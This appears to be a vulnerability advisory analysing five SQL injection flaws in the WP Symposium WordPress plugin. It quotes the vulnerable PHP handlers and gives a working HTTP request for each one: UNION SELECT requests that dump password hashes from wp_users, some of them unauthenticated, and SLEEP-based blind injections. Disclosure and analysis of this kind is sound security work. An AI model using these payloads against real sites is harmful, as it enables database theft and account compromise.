Advisory
Secunia Advisory SA50674
Analysis of groups get_user_list SQL injection vulnerability
This first vulnerability in the /ajax/symposium_groups_functions.php file makes use of the functionality for people to view the users of a group. It accepts a groupID(gid) which it inserts without validation into a query and then spits out the result, even if you are not authenticated.
218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246
|
// Get group members if ($_POST['action'] == 'get_group_members') { $gid = $_POST['gid']; // First clean up the table, making sure there are no user ID = 0 (do across all groups) $sql = "DELETE FROM ".$wpdb->prefix."symposium_group_members WHERE member_id = 0"; $wpdb->query($sql); // Now get the members $sql = "SELECT u.ID, u.display_name, u.user_login FROM ".$wpdb->prefix."symposium_group_members m LEFT JOIN ".$wpdb->base_prefix."users u ON m.member_id = u.ID WHERE group_id = ".$gid." AND m.admin != 'on' ORDER BY u.display_name"; $users = $wpdb->get_results($sql); $html = ''; if ($users) { foreach ($users as $user) { $html .= '<div class="user_list_item" id="'.$user->ID.'" style="clear:both; cursor:pointer; float:left; border:1px solid #aaa; background-color:#ccc;margin-bottom:2px;padding:2px;margin-right:2px;">'; $html .= "<img src='".get_option('symposium_images')."/cross.png' style='width:12px; height:12px; float:right; margin-left:3px;' alt='add' /> "; $html .= $user->display_name.' ('.$user->ID.')'; $html .= '</div>'; } } echo $html; exit; } |
Because it uses multiple line, we have to do a bit more work than the other ones. We can craft an union select which fits in and uses the rest of the query without a problem like this, and dump a list of usernames and password hashes:
|
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_groups_functions.php HTTP/1.0 Host: 192.168.80.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 Cookie: wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1347997111%7Cbe07b25720d1c846b47c3dee37e9801d; Content-Type: application/x-www-form-urlencoded Content-Length: 130 action=get_user_list&gid=353234) AND 1=2 UNION SELECT user_pass, 2, 3, 4, 5, 6, 7, 8, 9, display_name, 11 FROM wp_users WHERE (1=1 |
Analysis of get_album_item.php SQL injection vulnerability
This SQL injection vulnerability is practically as simple as it gets. And it even makes it simple for us in get_album_item.php.
|
<?php include_once('../../../wp-config.php'); global $wpdb; $iid = $_REQUEST['iid']; $size = $_REQUEST['size']; $sql = "SELECT ".$size." FROM ".$wpdb->base_prefix."symposium_gallery_items WHERE iid = %d"; $image = $wpdb->get_var($wpdb->prepare($sql, $iid)); header("Content-type: image/jpeg"); echo stripslashes($image); ?> |
It reads in 2 variables from $_REQUEST, which can be either GET or POST parameters. That’s very handy. It then proceeds to stuff the size into the SELECT part of the query using plain concatenation without previous sanitization, and then uses the wordpress prepare method of passing in content to a query safely using a printf syntax, which is safe.
Because we have control over the SELECT part of the query, we can easily select out a single piece of data at a time, which is sufficient to dump the whole database as needed. Here we can pull out a password from the users table, for instance, using a very simple request, no authentication required:
|
POST /wordpress/wp-content/plugins/wp-symposium/get_album_item.php HTTP/1.0 Host: 192.168.80.130 Content-Type: application/x-www-form-urlencoded Content-Length: 30 size=user_pass FROM wp_users # |
Analysis of symposium_show_profile SQL injection vulnerability
This vulnerability relies on the way which profiles are shown in Symposium. It calls into the symposium_show_profile method in symposium_profile.php file, which finds out what ID to show information for like this, assuming you are authenticated:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
// Adds profile page function symposium_show_profile($page) { global $wpdb, $current_user; $uid = ''; if (isset($_POST['from']) && $_POST['from'] == 'small_search') { if ($_POST['uid'] == '') { $search = $_POST['member_small']; $uid = $wpdb->get_var("SELECT u.ID FROM ".$wpdb->base_prefix."users u WHERE u.display_name LIKE '".$search."%'"); } } if ($uid == '') { if (isset($_GET['uid'])) { $uid = $_GET['uid']; } else { if (isset($_POST['uid'])) { $uid = $_POST['uid']; } else { $uid = $current_user->ID; } } } // resolve stubs if using WPS permalinks if ( get_option('symposium_permalink_structure') && get_query_var('stub')) { $stubs = explode('/', get_query_var('stub')); $stub0 = $stubs[0]; if (WPS_DEBUG) echo $stub0.'<br />'; if ($stub0) { $sql = "SELECT ID FROM ".$wpdb->base_prefix."users WHERE replace(display_name, ' ', '') = %s"; $id = $wpdb->get_var($wpdb->prepare($sql, $stub0)); if (WPS_DEBUG) echo $wpdb->last_query.'<br />'; if ($id) { $uid = $id; } } } $share = get_symposium_meta($uid, 'share'); if (WPS_DEBUG) echo 'UID:'.$uid.'<br />'; $html = '<div id="symposium_current_user_page" style="display:none">'.$uid.'</div>'; if (is_user_logged_in() || $share == 'public') { $user = $wpdb->get_row("SELECT display_name FROM ".$wpdb->base_prefix."users WHERE ID = ".$uid); |
Note that the last line takes the $uid variable as determined on the first block of code, and simply puts it straight into the query without any sort of input sanitation. So by creating a page with the “[symposium-profile-menu]” short-tag, we can inject into the page with a simple URL like this:
|
http://192.168.80.130/wordpress/?page_id=52&uid=3535 UNION SELECT user_pass from wp_users |
Analysis of forum updateEditDetail blind SQL injection vulnerability
This vulnerability is actually more like 2. We can see that in this standard ajax call in /ajax/symposium_forum_functions.php file that there is a total of 4 SQL queries executed, 2 updates and 2 selects. Notice that the $_POST parameters aren’t sanitized before use, yet all but the 3rd query uses concatenation to create the SQL query, which creates SQL injection conditions if you are logged in.
1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684
|
// AJAX function to update topic details after editing if ($_POST['action'] == 'updateEditDetails') { if (is_user_logged_in()) { $tid = $_POST['tid']; $topic_subject = $_POST['topic_subject']; $topic_post = $_POST['topic_post']; if (get_option('symposium_striptags') == 'on') { $topic_subject = strip_tags($topic_subject); $topic_post = strip_tags($topic_post); } $topic_post = str_replace("\n", chr(13), $topic_post); $topic_category = $_POST['topic_category']; // Ensure safe HTML $topic_subject = str_replace("<", "<", $topic_subject); $topic_subject = str_replace(">", ">", $topic_subject); if (get_option('symposium_use_wysiwyg') != 'on') { $topic_post = str_replace("<", "<", $topic_post); $topic_post = str_replace(">", ">", $topic_post); } if ($topic_category == "") { $topic_category = $wpdb->get_var($wpdb->prepare("SELECT topic_category FROM ".$wpdb->prefix.'symposium_topics'." WHERE tid = ".$tid)); } $wpdb->query( $wpdb->prepare("UPDATE ".$wpdb->prefix."symposium_topics SET topic_category = ".$topic_category." WHERE topic_parent = ".$tid) ); $sql = "UPDATE ".$wpdb->prefix."symposium_topics SET topic_subject = %s, topic_post = %s, topic_category = %d WHERE tid = %d"; $wpdb->query( $wpdb->prepare($sql, $topic_subject, $topic_post, $topic_category, $tid) ); $parent = $wpdb->get_var($wpdb->prepare("SELECT topic_parent FROM ".$wpdb->prefix.'symposium_topics'." WHERE tid = ".$tid)); } exit; } |
We can exploit it like this with an appropriate set of cookies:
|
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_forum_functions.php HTTP/1.0 Host: 192.168.80.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 Cookie: wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1347997111%7Cbe07b25720d1c846b47c3dee37e9801d; Content-Type: application/x-www-form-urlencoded Content-Length: 53 action=updateEditDetails&tid=1 UNION SELECT SLEEP(10) |
Analysis of profile addFriend blind SQL injection vulnerability
A similar lack of input validation can be seen in the /ajax/symposium_profile_functions.php file in the addFriend action handling code. It takes in an ID for a friend to add and then starts putting together some SQL like this:
1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561
|
// Friend request made if ($_POST['action'] == 'addFriend') { global $wpdb, $current_user; if (is_user_logged_in()) { $friend_from = $current_user->ID; $friend_to = $_POST['friend_to'];; $friend_message = $_POST['friend_message']; // check that request isn't already there if ( $wpdb->get_var($wpdb->prepare("SELECT * FROM ".$wpdb->base_prefix."symposium_friends WHERE (friend_from = ".$friend_to." AND friend_to = ".$current_user->ID." OR friend_to = ".$friend_to." AND friend_from = ".$current_user->ID.")")) ) { // already exists } else { |
Notice that it simply concatenates the $friend_to variable into the query. While this query is not used for output, we can still do a blind SQL injection if we’re logged in.
|
POST /wordpress/wp-content/plugins/wp-symposium/ajax/symposium_profile_functions.php HTTP/1.0 Host: 192.168.80.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 Cookie: wordpress_logged_in_f3e14e7fde6969eb515c450fed50d259=admin%7C1347997111%7Cbe07b25720d1c846b47c3dee37e9801d; Content-Type: application/x-www-form-urlencoded Content-Length: 76 action=addFriend&friend_to=1 AND 1=2) UNION SELECT SLEEP(10), 2, 3, 4, 5, 6; -- |